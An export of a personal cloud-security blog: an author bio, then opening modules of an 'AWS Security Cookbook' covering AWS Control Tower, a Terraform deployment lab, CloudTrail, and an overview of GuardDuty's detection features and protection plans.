# whoami

## Hey, I'm Tyler!

I'm a cyber security engineer with a decade of experience spanning numerous environments in technical and leadership roles.

I've always been passionate about my work and believe in giving back and sharing that knowledge. This blog is a side project where I share my insights and things I've learned from others. It's also become a handy "second brain" for me!&#x20;

### Connect with Me!

Feel free to connect with me on [LinkedIn](https://www.linkedin.com/in/typetty/)

***

## Projects and Community Involvement

### Instructor @ Pwned Labs

In my spare time I teach the [Pwned Labs Amazon Cloud Attack & Defense Bootcamp](https://bootcamps.pwnedlabs.io/placrtp-bootcamp) alongside cofounder Ian Austin.&#x20;

This is a live 4-week professional bootcamp teaching modern AWS attack and defense tradecraft used in real-world breaches and cloud security engagements. We work through hands-on assume-breach scenarios to compromise, audit, and defend AWS environments across identity, compute, and infrastructure services. At the end of the bootcamp, students will be prepared to demonstrate their skills in a 24 hour fully hands-on certification exam. Successful completion of the exam provides students with the **Pwned Labs Amazon Cloud Red Team Professional (ACRTP)** certification.

### Content Creator

My YouTube channel&#x20;

{% embed url="<https://www.youtube.com/@techwithtyler>" %}

Cyber ranges, labs, courses, and more I've created myself or with others&#x20;

<table><thead><tr><th width="118.67578125">Platform</th><th width="169.18359375">Content / Link</th><th>Description</th></tr></thead><tbody><tr><td>Pwned Labs</td><td><a href="https://pwnedlabs.io/cr/electra">Cyber Range - Electra</a></td><td>Electra is a multi-AWS account red team cyber range that I helped create with the team at Pwned Labs. It features a realistic enterprise environment requiring users to perform exploits and attack paths against common AWS services to achieve all 9 flags.</td></tr><tr><td>Pwned Labs</td><td><a href="https://pwnedlabs.io/labs/abuse-openid-connect-and-gitlab-for-aws-access">Lab - Abusing Identity Providers in AWS</a></td><td>Get hands-on in navigating and exploiting real-world cloud vulnerabilities. You'll begin with ReadOnly access to an AWS account, uncover a misconfigured GitLab Identity Provider Trust Policy, exploit it, and ultimately compromise the account.</td></tr><tr><td>Pwned Labs</td><td><a href="https://pwnedlabs.io/labs/remediate-risks-with-prowler-and-aws-security-hub">Lab - Prowler and AWS Security Hub</a></td><td>Get hands-on with Prowler, an open-source cloud security tool, to scan an AWS environment for misconfigurations. You'll learn how to centralize findings in AWS Security Hub and set up automated remediation workflows using AWS EventBridge and Lambda functions.</td></tr><tr><td>Pwned Labs</td><td><a href="https://blog.pwnedlabs.io/abusing-identity-providers-in-aws">Blog - Abusing Identity Providers in AWS</a></td><td>Abuse the GitLab OIDC Identity Provider to gain access to and compromise an AWS account.</td></tr><tr><td>Pwned Labs</td><td><a href="https://blog.pwnedlabs.io/building-security-guardrails-with-aws-resource-control-policies">Blog - Building Security Guardrails with AWS Resource Control Policies</a></td><td>Leverage AWS Resource Control Policies (RCPs) to protect your AWS resources from external threats. </td></tr><tr><td>Pwned Labs</td><td><a href="https://blog.pwnedlabs.io/defending-against-the-whoami-attack-with-aws-declarative-policies">Blog - Defending Against the whoAMI Attack with AWS Declarative Policies</a></td><td>Leverage AWS Declarative Policies to prevent the whoAMI attack and better control the use of AMIs in your AWS environment</td></tr><tr><td>Cybr</td><td><a href="https://cybr.com/courses/terraform-on-aws-from-zero-to-cloud-infrastructure/">Course - Terraform on AWS: From Zero to Cloud Infrastructure</a></td><td><p>This is a course I built and collaborated on with Christophe Limpalair from Cybr.com.</p><p>Together, we've crafted a comprehensive, hands-on learning experience. I developed the core technical content and lab scenarios, while Christophe enhanced the course with video lessons and contributed additional technical topics to provide a well-rounded learning experience.</p></td></tr><tr><td>Cybr</td><td><a href="https://cybr.com/hands-on-labs/lab/encrypt-and-decrypt-data-with-kms-and-data-keys/">Lab — Encrypt and Decrypt Data with KMS and Data Keys</a></td><td>In this lab, we'll get hands-on experience using a KMS Customer Managed Key (CMK) and symmetric encryption to encrypt and decrypt data. We'll learn how to perform these functions with the AWS CLI and the AWS Encryption SDK and how to manage data keys for data larger than 4096 bytes.</td></tr><tr><td>Cybr</td><td><a href="https://cybr.com/hands-on-labs/lab/secure-ec2-access-with-ssm-session-manager-and-kms/">Lab — Replace SSH with SSM Session Manager and KMS</a></td><td>Securely connect to your EC2 instances with AWS Systems Manager Session Manager. Session Manager lets you manage your Amazon EC2 instances through an interactive one-click browser-based shell or through the AWS CLI. After the session is started, you can run bash commands as you would through any other connection type, effectively replacing the need to SSH into instances. For added security, we can enable KMS session encryption with a customer managed key.</td></tr><tr><td>Cybr</td><td><a href="https://cybr.com/hands-on-labs/lab/create-a-static-s3-website-using-terraform/">Lab - Create Static AWS S3 Website with Terraform</a></td><td>Learn how to create and configure a static S3 website using only Terraform. This lab does not grant access to the AWS console, encouraging both least privilege and using Infrastructure as Code (IaC) to manage cloud infrastructure instead of ClickOps.</td></tr></tbody></table>


# !!! Disclaimer !!!

The views and opinions expressed by me or my work (such as this blog) are solely my own and do not reflect those of my employer (past, present, or future). All information shared here is intended for educational and informational purposes only. I do not endorse or encourage any illegal activities, and any use of the information provided on this blog is at the reader's own risk and responsibility.


# AWS Security Cookbook by Tyler

Master AWS cloud security with this cookbook.  Dive into practical tutorials and code examples for essential services, covering common security challenges and solutions.

{% hint style="danger" %}

## Disclaimer

The **AWS Security Cookbook by Tyler** is not sponsored by, endorsed by, or otherwise\
affiliated with Amazon in any official capacity. It contains training and learnings I've put together based on my own experience as a cloud security engineer working with the AWS cloud offering.&#x20;
{% endhint %}

## Introduction

Hey everyone, I'm Tyler! I'm passionate about cloud security and believe that security engineers should be builders, not just advisors. That's why I created this **AWS Security Cookbook by Tyler** – to empower you with the hands-on skills to design, deploy, and manage security solutions in the cloud. We'll dive into practical tutorials and ready-to-use Terraform code, equipping you to implement security best practices and accelerate your career growth. Let's get hands-on and build a more secure cloud together!

### Navigating the Cookbook

Feel free to explore the modules in any order you want! Each module is self-contained but may occasionally reference code from other modules. While some familiarity with AWS, the AWS CLI, and Terraform is helpful, don't worry if you're just starting out. I've included links to some great resources in the [Getting Started](#getting-started) section to help you get up to speed.

This site is powered by GitBook so a few things to keep in mind:

* There's a navigation menu on the right side to quickly jump to content on the page
* Each module will also show up on the left side under **Academy > AWS Security Cookbook by Tyler**
* Explore the rest of the website for additional cyber security resources

### Cost

I'm providing this book and associated labs for **absolutely free**!&#x20;

However, AWS is not always free, and you will likely incur some costs when deploying these labs for long periods. Do not let this discourage you! I call out pricing in each lab and provide links to AWS pricing documentation. Personally, I have never spent more than $3 / month.&#x20;

Just like in the real world, we'll use Terraform to quickly spin up the labs and tear them down when done. This will ensure we leave no resources behind and help us maximize cost savings.&#x20;

***

## Getting Started

Prepare for your AWS security journey! This section provides the essential tools and knowledge you'll need to confidently tackle the modules ahead.

### Terraform and the AWS CLI

If you're serious about building and scaling your cloud infrastructure, prioritize automation. Start by learning Terraform to define and manage your infrastructure as code. Then, master the AWS CLI for rapid automation of tasks and data retrieval. These skills will enable you to deploy faster, reduce errors, and achieve greater agility in your AWS environment.

<table data-view="cards"><thead><tr><th align="center"></th><th data-hidden data-card-target data-type="content-ref"></th><th data-hidden data-card-cover data-type="files"></th></tr></thead><tbody><tr><td align="center">Terraform on AWS: From Zero to Cloud Infrastructure</td><td><a href="https://cybr.com/courses/terraform-on-aws-from-zero-to-cloud-infrastructure/">https://cybr.com/courses/terraform-on-aws-from-zero-to-cloud-infrastructure/</a></td><td></td></tr><tr><td align="center">Terraform on AWS [Cheat Sheet]</td><td><a href="https://cybr.com/cloud-security/terraform-on-aws-cheat-sheet/">https://cybr.com/cloud-security/terraform-on-aws-cheat-sheet/</a></td><td></td></tr><tr><td align="center">AWS Doc: Getting started with the AWS CLI</td><td><a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html">https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html</a></td><td></td></tr><tr><td align="center">YouTube - Mastering the AWS CLI</td><td><a href="https://www.youtube.com/watch?v=t5pCWBp-EjI">https://www.youtube.com/watch?v=t5pCWBp-EjI</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FJ8zJ4syzKUbkDNx6MRog%2F11.png?alt=media&amp;token=e927e075-f059-4fca-b373-cf5522f1d29a">11.png</a></td></tr><tr><td align="center">YouTube - Use JQ to Master the AWS CLI</td><td><a href="https://www.youtube.com/watch?v=fLDYq6_FhyE">https://www.youtube.com/watch?v=fLDYq6_FhyE</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FOLkEjwv2iL8bIy4ZSVJb%2F10.png?alt=media&amp;token=713be4b6-4d68-40b1-b06b-15847a544380">10.png</a></td></tr></tbody></table>

***

## AWS Security Services

Ready to explore AWS security services? This section provides a deep dive into each service, along with Terraform code so you can deploy them in your environment. Gain a deeper understanding of how each service works, learn best practices, and enhance your cloud security posture. Explore the services below and start building a more secure cloud!

<table data-view="cards" data-full-width="false"><thead><tr><th align="center"></th><th data-hidden data-card-target data-type="content-ref"></th><th data-hidden data-card-cover data-type="image">Cover image</th></tr></thead><tbody><tr><td align="center">Monitor activity happening in your AWS accounts</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-cloudtrail">AWS CloudTrail</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FOqkR4cAJnmHXFuvyxgUj%2F3.png?alt=media&amp;token=64c5a8d0-1219-4ca4-a260-890898325782">3.png</a></td></tr><tr><td align="center">Multi-account governance, automation, security, and compliance</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-control-tower">AWS Control Tower</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FpSvxxHu8iFEAUG7tzBFy%2F8.png?alt=media&amp;token=5c7beb3f-7fb9-4691-8d0e-83668d8bcda0">8.png</a></td></tr><tr><td align="center">Detect threats and malicious activity</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-guardduty">AWS GuardDuty</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FQ3n7ONmNE9mVZcTvBFD6%2F7.png?alt=media&amp;token=6d97ecf2-9df5-41f4-bf1d-e05f9e5be859">7.png</a></td></tr><tr><td align="center">Manage and control identities and access</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-iam">AWS IAM</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F2Kx7v4oEpDNF6emDrj1L%2Fiam.png?alt=media&amp;token=2b8bfd61-4145-4631-89a6-1f0d8417965a">iam.png</a></td></tr><tr><td align="center">Multi-account governance and security compliance</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-organizations">AWS Organizations</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FoP00mKsA31FCmfjyGh10%2F4.png?alt=media&amp;token=d0b962b0-1483-4317-9297-9fd566bceb29">4.png</a></td></tr><tr><td align="center">Centralize Root account management</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-root-account-management">AWS Root Account Management</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FrXDfow7ZlZXjAuVkFgns%2F6.png?alt=media&amp;token=67416960-6f3e-4236-bedd-4503debe825a">6.png</a></td></tr><tr><td align="center">Security guardrails to enforce maximum IAM permissions</td><td><a href="/academy/aws-security-cookbook-by-tyler/aws-service-control-policies-scps">AWS Service Control Policies (SCPs)</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FUyZ1OcKiBTKzFWAqB9m9%2F5.png?alt=media&amp;token=f24c1435-90ee-447c-b2fd-7e771b2096a7">5.png</a></td></tr><tr><td align="center">Enforce secure resource configurations</td><td><a href="/cloud-security/aws/aws-defensive-security/aws-organizations/declarative-policies">Declarative Policies</a></td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2ForpbMU8ykKEFdbQX41vw%2Fd_policies.png?alt=media&amp;token=e998fcda-362c-4e8b-a7c4-e01142d1703a">d_policies.png</a></td></tr></tbody></table>

***

## AWS Use Cases

Ready to apply your cloud security knowledge in real-world scenarios? In this section, you'll implement key AWS configurations and security patterns to tackle common challenges. These hands-on use cases will help you build practical skills that you can immediately apply in your cloud environments.

<table data-view="cards"><thead><tr><th align="center"></th><th data-hidden data-card-cover data-type="files"></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td align="center">YouTube<br>Implementing Cross-Account Access to S3</td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FdOonfqQ0iJhJwUUN3X8E%2F2.png?alt=media&amp;token=dd36072d-773b-4610-94f9-b010fdd4eebd">2.png</a></td><td><a href="https://www.youtube.com/watch?v=5Z_5fxJr05s">https://www.youtube.com/watch?v=5Z_5fxJr05s</a></td></tr><tr><td align="center">YouTube<br>Configuring a VPC Internet Gateway</td><td><a href="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FxypeEWmLbIBUAy5IT047%2F1.png?alt=media&amp;token=65b454e9-abff-46c3-b57f-4c90e86c163e">1.png</a></td><td><a href="https://www.youtube.com/watch?v=xC_xsGIX1gc">https://www.youtube.com/watch?v=xC_xsGIX1gc</a></td></tr></tbody></table>

***

## AWS Projects

Ready to roll up your sleeves and build in AWS? This section focuses on hands-on projects that take you through the full process of building and securing real-world applications and infrastructure. You'll gain practical experience that directly translates to the cloud security skills you need. Dive into these in-depth projects, apply best practices, and level up your AWS expertise.

{% hint style="info" %}
TBD!!&#x20;
{% endhint %}


# AWS Control Tower

An overview of AWS Control Tower

## ‍📖 Introduction to AWS Control Tower

<img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FmQ73Tz8uNkI7RGmAb8QX%2Ffile.excalidraw.svg?alt=media&amp;token=4b386b6c-d9f3-46e8-ae41-897045a01a13" alt="Depiction of AWS Control Tower Organizational Unit Structure" class="gitbook-drawing">

AWS Control Tower offers a robust solution for swiftly setting up and managing a secure, multi-account AWS environment. By following AWS best practices, it simplifies security, governance, and compliance across your organization.&#x20;

Deployment takes about an hour and during that time Control Tower acts on your behalf to orchestrate and configure AWS services such as **Organizations**, **Service Control Policies**, **CloudTrail**, **AWS Config**, **Account Factory**, **Identity Center**, and more.&#x20;

***

## 🗒️ Understanding Control Tower's Features

### 1. Landing Zone

A Landing Zone is an environment based on AWS's well-architected, multi-account best practices. The following features are components of this:

* **AWS Organizations:**
  * Unless you already have an Organization, this will be set up for you
  * It enables grouping AWS accounts into different Organizational Units and applying policy options (SCPs, RCPs, Declarative, Tagging, and more)
  * Check out the [AWS Organizations module](/academy/aws-security-cookbook-by-tyler/aws-organizations) to learn more

* **AWS CloudTrail:**
  * Enables an Organization trail to log all events in AWS member accounts
  * You're able to use an existing CloudTrail if you have one rather than let Control Tower set one up but if you do, Control Tower's SCPs won't protect it (it protects the one it creates)
  * Check out the [AWS CloudTrail module](/academy/aws-security-cookbook-by-tyler/aws-cloudtrail) to learn more

* **AWS Identity Center:**
  * Optionally enables AWS Identity Center allowing for centralized management of AWS Groups and Permission sets across all of your AWS accounts
  * Enables the ability to use AWS Single Sign-On (SSO) or to integrate with a different Identity Provider (IdP) such as Okta or Active Directory
  * Identities created here are federated users and are not the same as traditional IAM Users and Roles that are managed in IAM
  * Check out the [AWS Identity Center module](broken://pages/fnrkQ5Wfr6e7ubuYI2Hc) to learn more

* **AWS "Audit" and "Log Archive" Accounts:**
  * Unless you specified existing accounts to use, Control Tower creates two new AWS accounts
    * The **Audit** account is used for managing AWS Config and remediation actions while also receiving Simple Notification Service (SNS) notifications related to CloudTrail, AWS Config, CloudWatch, GuardDuty, and event or Control Tower drift changes&#x20;
    * The **Log Archive** account stores AWS CloudTrail and AWS Config logs
  * You don't *have* to use the accounts this way but they are enabled for you to do so

### 2. AWS Account Factory

* Enables deploying new AWS accounts which you can customize to your needs e.g., provisioning the accounts without default VPCs or enabling account-wide controls like blocking S3 buckets
* Check out the [AWS Account Factory module](broken://pages/wND8MyC5jUKvFh7xOQIE) to learn more

### 3. Comprehensive Controls Management

Controls are high-level rules that provide ongoing governance for your AWS environment. The following types of controls are supported:

* **Mandatory Controls:**
  * These controls are owned by AWS Control Tower and protect related resources
  * They cannot be disabled and are enforced via Service Control Policies and AWS Config rules
  * [The controls can be found here](https://docs.aws.amazon.com/controltower/latest/controlreference/mandatory-controls.html)

* **Detective Controls:**
  * These controls check for noncompliant resources&#x20;
  * They can be enabled/disabled
  * Examples include checking for encryption at rest or in transit or ensuring EC2 auto-scaling groups associated with an Elastic Load Balancer are using health checks

* **Proactive Controls:**
  * These controls ensure resources created through CloudFormation meet policies and can block non-compliant resources
  * They can be enabled/disabled
  * Examples include validating whether GuardDuty's S3 protection is enabled or that an Elastic Kubernetes Service cluster's API endpoint is not publicly exposed

* **Preventative Controls:**
  * These controls block actions related to policy violations
  * They must be created in the form of Service Control Policies, Resource Control Policies, or Declarative Policies, and AWS Backup or Digital sovereignty controls&#x20;
  * Examples include preventing EBS snapshots or AMIs from being shared publicly, requiring all objects uploaded to S3 to be encrypted, and much more

***

## 📚 Additional Resources

* [AWS Control Tower Documentation](https://docs.aws.amazon.com/controltower/latest/userguide/what-is-control-tower.html)

***

## 🏗️ Hands-on Exercises

{% content-ref url="/pages/lhkugP2I6g78nAaPRE1x" %}
[Lab: Deploying AWS Control Tower via Terraform](/academy/aws-security-cookbook-by-tyler/aws-control-tower/lab-deploying-aws-control-tower-via-terraform)
{% endcontent-ref %}


# Lab: Deploying AWS Control Tower via Terraform

How to deploy AWS Control Tower via Terraform

{% hint style="success" %}

## Already Know Terraform?

If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

The Terraform code for this module has been left in a simplified state (i.e., not using modules, loops, or other advanced Terraform features) to be more easily accessible. You can customize it further to meet your specific requirements.

The Terraform resources for setting up an AWS Control Tower landing zone are fairly new and not as feature-rich as what's available in the AWS Management Console. There will be some steps you'll need to perform in the console after deploying your Landing Zone e.g., registering any pre-existing Organizational Units and defining guardrails like region restrictions.

Deploying the Landing Zone does take close to an hour, so be prepared to wait for the resources to be created. Additionally, making changes to the Landing Zone configuration after deployment or enabling more features will take time to update.

The progress can be monitored in the AWS Management Console under the AWS Control Tower service.

## Deployment

{% hint style="danger" %}

## Cost Alert

Enabling AWS Control Tower will incur costs so please review the pricing page for more information&#x20;

* <https://aws.amazon.com/controltower/pricing/&#x20>;
  {% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS Control Tower directory
cd AWS_Cookbook_by_Tyler/recipes/aws_controltower/code

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

* The deployment will take \~1 hour to complete. Grab some coffee!&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F5J2Em6rJLJtj3lgjy9M9%2Fimage.png?alt=media&amp;token=b1c651a0-78d2-4d8e-9938-2d4dab5826fe" alt=""><figcaption><p>Waiting for Control Tower to deploy</p></figcaption></figure>

* Once complete, head to the AWS Control Tower Dashboard and check it out!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2Fp2h8qdP5ORtZ0SANX78o%2FCleanShot%202025-02-22%20at%2023.21.15%402x.png?alt=media&amp;token=ab3dc5d3-aecb-4903-bd48-3da8d98cb2a0" alt=""><figcaption><p>AWS Control Tower Dashboard</p></figcaption></figure>

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources

`terraform destroy`
{% endhint %}


# AWS CloudTrail

How to setup and validate CloudTrail

{% hint style="success" %}
I plan to update this section with hands-on labs and Terraform deployment code. For now, I have a YouTube video demonstrating how to set up and test CloudTrail.&#x20;
{% endhint %}

{% embed url="<https://www.youtube.com/watch?v=S34F9G4yvyE>" %}


# AWS GuardDuty

An overview of AWS GuardDuty

## 📖 Introduction to AWS GuardDuty

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FLpTdlmByY8dAZKOeGdPy%2FCleanShot%202025-04-07%20at%2010.25.58%402x.png?alt=media&amp;token=af8843e8-61ca-492a-9be7-4fd8ece7f97c" alt=""><figcaption><p>Depiction of AWS GuardDuty Organizational Deployment</p></figcaption></figure>

AWS GuardDuty is a paid security service offered by AWS. Using AI/ML, anomaly and malicious file detection, and threat intelligence, GuardDuty can monitor and alert you to malicious activity in your AWS environment. It leverages foundational data sources such as CloudTrail Management Events, VPC Flow Logs, and Route53 Resolver DNS queries for these detections. For an additional cost, you can expand coverage and detection capabilities to S3 data events, EKS, Lambda, and more with optional protection plans.

Integration with AWS Organizations allows for convenient control and deployment of GuardDuty across all your AWS accounts.

***

## 🗒 Understanding GuardDuty and its Features

### 1. Deploying GuardDuty

AWS GuardDuty is a regional service. For the most complete coverage, deploy and enable all features for all AWS accounts and regions in your AWS Organization. We'll look at how to do this in the lab [Deploying AWS GuardDuty via Terraform](/academy/aws-security-cookbook-by-tyler/aws-guardduty/lab-deploying-aws-guardduty-via-terraform) later.&#x20;

It essentially boils down to setting up an AWS Delegated Administrator account to manage GuardDuty, as it's not advisable to use the AWS Management Account due to the level of access the Management Account has to your AWS Organization accounts, and that organizational policies like SCPs, RCPs, etc., do not affect this account. Once a Delegated Administrator account is set up, we can enable GuardDuty across all accounts and regions.&#x20;

If integrated and deployed with AWS Organizations, an AWS IAM Service-Linked Role called `AWSServiceRoleForAmazonGuardDuty` gets deployed to all accounts with the IAM permission policy, `AmazonGuardDutyServiceRolePolicy`allowing GuardDuty appropriate permission to set up its features.

A GuardDuty detector is created in each region you've configured and used to monitor the environment.&#x20;

### 2. Default Findings

As mentioned in the [Introduction](https://app.gitbook.com/o/jZWSDbhtOG1szHMuDH9S/s/8yu8YbDfwd1VqEdUxGyA/~/changes/355/academy/aws-security-cookbook/aws-guardduty#introduction-to-aws-guardduty), GuardDuty leverages default data sources to analyze your AWS environment for potentially malicious activity. These are used to identify and generate EC2 and IAM-related findings, at least at this time.

For EC2, this includes unusual traffic volume, port scanning, SSH and RDP brute force attacks, and more. A full listing of EC2-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html).&#x20;

For IAM, this includes activity generated by systems such as Kali Linux, Parrot OS, or Pentoo Linux, disabling of CloudTrail logging, utilizing EC2 credentials from another AWS account or external IP address, and more. A full listing of IAM-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws).

### 3. Protection Plans

As of this writing, GuardDuty has several optional protection plans at an additional cost. We'll take a deeper dive into some of these in future labs. One to keep in mind is that GuardDuty is a detection service only; it does not prevent activity from occurring, malicious or otherwise. Personally, I think it's a bit of a misnomer calling these "protection" plans because of this.&#x20;

#### S3 Protection

Enabling this protection plan will immediately begin monitoring CloudTrail S3 data events for potentially malicious activity such as data exfiltration and destruction. CloudTrail does not automatically log S3 data events, this has to be enabled explicitly. However, enabling S3 Protection in GuardDuty is enough - "[...you don't need to explicitly enable or configure S3 data event logging in AWS CloudTrail](https://docs.aws.amazon.com/guardduty/latest/ug/s3-protection.html)".&#x20;

Once enabled, GuardDuty begins to monitor for the `Get/Put/List/Delete Object` API actions. This looks for S3-related activities being performed by malicious IPs, Tor networks, suspicious/anomalous behavior, and more. A full listing of S3 Protection-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html).&#x20;

#### EKS Protection&#x20;

If running AWS Elastic Kubernetes Service (EKS) clusters, it's worth enabling this plan to monitor EKS audit log events. No additional configuration is required on the EKS side.&#x20;

Once enabled, GuardDuty begins to monitor EKS clusters, looking for anomalous/suspicious EKS-related activities being performed, exposed Kubernetes dashboards, successful access, and more. A full listing of EKS Protection-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty-finding-types-eks-audit-logs.html).&#x20;

#### Extended Threat Detection

Extended Threat Detection was added to AWS GuardDuty in December 2024 and is enabled by default. This feature analyzes activity and events across multiple data sources and detects multi-stage attacks in your AWS environment. Currently, it leverages the foundational data sources discussed in the [#introduction-to-aws-guardduty](#introduction-to-aws-guardduty "mention")and S3 Protection if enabled.&#x20;

When an alert is generated, we get a history of Signals (correlation of data points and findings), impacted AWS resources, and more. The attack sequence is aligned with [MITRE](https://attack.mitre.org/) tactics (Discovery, Initial Access, Defense Evasion, Exfiltration, etc.). A full listing of attack sequence finding types can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty-attack-sequence-finding-types.html).

#### Runtime Monitoring

If running AWS EKS, AWS Fargate Amazon Elastic Container Service (ECS), and/or Amazon Elastic Container Compute Cloud (EC2) resources, then this may be a beneficial capability. This requires a GuardDuty agent to be deployed (automatically or manually) before it will monitor runtime events on containers and workloads.&#x20;

Once enabled and the associated agent is deployed, we'll get alerted to activity like discovery of reverse shells, crypto miners, container escapes, and more. A full listing of runtime monitoring-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/findings-runtime-monitoring.html#privilegeesc-runtime-runccontainerescape).&#x20;

#### Malware Protection for EC2

Malware Protection for EC2 enables scanning EC2 instances and container workloads (EKS Auto Mode) running on EC2 for malware.&#x20;

Once enabled, GuardDuty will conduct a malware scan on Elastic Block Store (EBS) volumes when a finding is discovered, indicating the presence of malware. It does this by taking a Snapshot (backup) of the EBS volume and scanning it. This ensures workloads are not interrupted or otherwise impacted during the analysis. On-demand scans can optionally be performed by an administrator by targeting a specific resource by its Amazon Resource Name (ARN).  A full listing of EC2 malware protection-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/findings-malware-protection.html).&#x20;

#### Malware Protection for S3

Malware Protection for S3 enables scanning S3 buckets whenever an Object or a new version of an Object is uploaded.&#x20;

Once enabled, GuardDuty will monitor up to 25 S3 buckets per Region. It can also scan archived files up to 5 levels and up to 1000 files per archive, provided nothing is password protected. Some [additional limitations](https://docs.aws.amazon.com/guardduty/latest/ug/supported-s3-features-malware-protection-s3.html) apply depending on S3 storage class and encryption settings. A full listing of S3 malware protection-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/gdu-malware-protection-s3-finding-types.html).

#### RDS Protection

RDS Protection enables behavior-based detection of RDS login activity for [supported databases](https://docs.aws.amazon.com/guardduty/latest/ug/rds-protection.html#rds-pro-supported-db).&#x20;

Once enabled, GuardDuty will monitor RDS login behavior for 2 weeks before it generates detections. Likewise, newly spun-up databases will require 2 weeks of monitoring. It will detect activity like successful database login brute force, malicious/anomalous activity, and more. A full listing of RDS protection-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/findings-rds-protection.html#credaccess-rds-anombehavior-successfulbruteforce).&#x20;

#### Lambda Protection

Lambda Protection enables network traffic monitoring of your Lambda functions by leveraging VPC Flow Logs and function invocation logs.&#x20;

Once enabled, GuardDuty will monitor these logs for activity like querying IPs related to cryptocurrency activity, connections to a Tor network, and more. A full listing of Lambda protection-related findings can be found [here](https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection-finding-types.html#unauthorized-access-lambda-maliciousIPcaller-custom).

&#x20;

### 4. Logging

GuardDuty maintains logs for 90 days. If you wish to maintain logs for longer and/or you want to export these logs into another platform like a SIEM (Security Information and Event Management), such as Google SecOps, then you'll want to set this up.&#x20;

Currently, the logs can be exported to an S3 bucket. From there, you'll need to set up something like [DataDog's Vector](https://opensource.datadoghq.com/projects/vector/) or an alternative integration if you need the logs available on other platforms.&#x20;

***

## 📚 Additional Resources

* [AWS GuardDuty documentation](https://docs.aws.amazon.com/guardduty/latest/ug/what-is-guardduty.html)

***

## 🏗️ Hands-on Exercises

{% content-ref url="/pages/rjPF1JWJMQ5gjzQ9Ne6h" %}
[Lab: Deploying AWS GuardDuty via Terraform](/academy/aws-security-cookbook-by-tyler/aws-guardduty/lab-deploying-aws-guardduty-via-terraform)
{% endcontent-ref %}

{% content-ref url="/pages/gq1D9CXima4kzmfpGF9T" %}
[Lab: Logging GuardDuty Findings to S3](/academy/aws-security-cookbook-by-tyler/aws-guardduty/lab-logging-guardduty-findings-to-s3)
{% endcontent-ref %}

